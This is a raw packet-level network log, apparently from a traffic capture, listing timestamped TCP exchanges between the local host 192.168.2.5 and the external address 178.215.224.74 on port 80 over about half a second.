Nov 24, 2024 12:06:57.150295973 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.151209116 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.151331902 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.151372910 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.152309895 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.152508020 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.152551889 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.153413057 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.153541088 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.153578997 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.154529095 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.154628992 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.154670954 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.155637026 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.155772924 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.155812025 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.156744957 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.156905890 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.156946898 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.157989979 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.158083916 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.158132076 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.159223080 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.159385920 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.159423113 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.160511017 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.160646915 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.160685062 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.161524057 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.161592960 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.161628008 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.162463903 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.162581921 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.162619114 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.163422108 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.163516045 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.163552046 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.164618969 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.164638996 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.164671898 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.165184975 CET	80	50046	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.165245056 CET	50046	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.165688992 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.165760040 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.165798903 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.165854931 CET	50046	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.166749001 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.166846037 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.166888952 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.167872906 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.167993069 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.168030024 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.168937922 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.169059038 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.169096947 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.170067072 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.170160055 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.170217037 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.171174049 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.171283007 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.171328068 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.172256947 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.172385931 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.172429085 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.173383951 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.173510075 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.173551083 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.174530983 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.174660921 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.174696922 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.175657988 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.175750971 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.175790071 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.176793098 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.176913977 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.176966906 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.177968979 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.178082943 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.178122997 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.178901911 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.232345104 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.285711050 CET	80	50046	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.321978092 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.322058916 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.322110891 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.322470903 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.322576046 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.322628975 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.323652983 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.323776007 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.323813915 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.324675083 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.324799061 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.324837923 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.325788021 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.325908899 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.325951099 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.326910973 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.327001095 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.327049971 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.328094006 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.328289986 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.328336954 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.329324961 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.329425097 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.329474926 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.330414057 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.330506086 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.330549955 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.331372976 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.331450939 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.331491947 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.332454920 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.332562923 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.332608938 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.333586931 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.333664894 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.333710909 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.334728956 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.334846020 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.334897041 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.335834026 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.335886002 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.335926056 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.337145090 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.337222099 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.337263107 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.338395119 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.338512897 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.338551998 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.339410067 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.339482069 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.339528084 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.340259075 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.340353966 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.340396881 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.341440916 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.341581106 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.341625929 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.342502117 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.342581034 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.342626095 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.343575001 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.343708038 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.343751907 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.344763041 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.344960928 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.345001936 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.345876932 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.345930099 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.345972061 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.346935987 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.347018003 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.347062111 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.348037004 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.348129034 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.348174095 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.349103928 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.349180937 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.349220991 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.350203991 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.350341082 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.350382090 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.351457119 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.351538897 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.351581097 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.352437973 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.352581978 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.352621078 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.353564978 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.353661060 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.353703976 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.354670048 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.354865074 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.354908943 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.355771065 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.355866909 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.355907917 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.356870890 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.356937885 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.356981993 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.358073950 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.358207941 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.358247995 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.359097004 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.359225035 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.359266043 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.360224009 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.360311985 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.360349894 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.361315012 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.361429930 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.361471891 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.362440109 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.362541914 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.362579107 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.363719940 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.363951921 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.363991022 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.365122080 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.365211964 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.365262985 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.366040945 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.366122007 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.366159916 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.366862059 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.366995096 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.367033005 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.367990971 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.368096113 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.368133068 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.369076967 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.369210005 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.369251013 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.370198965 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.370323896 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.370359898 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.371350050 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.371397018 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.371449947 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.372447014 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.372657061 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.372729063 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.373492956 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.373656988 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.373718977 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.374607086 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.374759912 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.374818087 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.375747919 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.375878096 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.375936985 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.376866102 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.376985073 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.377048969 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.377980947 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.378065109 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.378128052 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.379092932 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.379184008 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.379244089 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.380157948 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.419857979 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.523236036 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.523380041 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.523439884 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.523760080 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.523957014 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.524003983 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.524851084 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.524952888 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.525002003 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.525990009 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.526107073 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.526139021 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.527074099 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.527194977 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.527231932 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.528202057 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.528310061 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.528345108 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.529337883 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.529426098 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.529460907 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.530411959 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.530517101 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.530550003 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.531543016 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.531645060 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.531681061 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.532655954 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.532747984 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.532784939 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.533735991 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.533843040 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.533874989 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.534837008 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.534944057 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.534976006 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.535960913 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.536066055 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.536103010 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.537123919 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.537209034 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.537246943 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.538202047 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.538295984 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.538328886 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.539319038 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.539412022 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.539447069 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.540493011 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.540647030 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.540683031 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.541495085 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.541615963 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.542625904 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.542665005 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.542730093 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.542844057 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.543713093 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.543844938 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.543885946 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.544832945 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.544941902 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.544981956 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.545953035 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.546061039 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.547054052 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.547058105 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.547163963 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.548146009 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.548185110 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.548273087 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.549294949 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.549334049 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.549356937 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.549395084 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.550399065 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.550509930 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.550545931 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.551511049 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.551640034 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.551675081 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.552598000 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.552700043 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.553710938 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.553749084 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.553786993 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.554838896 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.554853916 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.554944038 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.554980040 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.555954933 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.556071043 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.556106091 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.557045937 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.557156086 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.558156967 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.558197021 CET	50044	80	192.168.2.5	178.215.224.74
